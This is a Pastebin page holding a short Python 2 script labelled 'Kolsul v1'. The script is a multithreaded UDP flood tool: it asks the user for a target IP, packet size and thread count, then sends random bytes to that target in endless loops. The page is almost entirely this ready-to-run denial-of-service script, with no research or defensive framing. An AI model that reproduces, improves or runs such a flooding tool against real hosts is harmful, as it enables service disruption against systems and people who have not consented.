Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import socket
- import time
- import threading
- import sys
- import random
- class attack(threading.Thread):
- def __init__(self, ip, port, size,):
- threading.Thread.__init__(self)
- self.ip = ip
- self.port = port
- self.size = size
- def run(self):
- print "_________-_---_______" + self.ip + ":"
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- bytes = random._urandom(self.size)
- while True:
- s.sendto(bytes,(self.ip, self.port))
- print """
- ########################
- # #
- # Kolsul <{v1}> #
- # #
- ########################
- """
- print "\t\nEnter A Ip address"
- ip = raw_input(">> ")
- print "Enter a port range [1-6655]"
- port = raw_input(">> ")
- print "Enter a packet Size"
- size = raw_input(">> ")
- print "Please enter the amount of threads. The more the better"
- threads1 = raw_input(">> ")
- threads = threads1
- for host in range(int(threads)):
- port = 80
- attl = attack(ip, int(port), int(size))
- attl.start()
Add Comment
Please, Sign In to add comment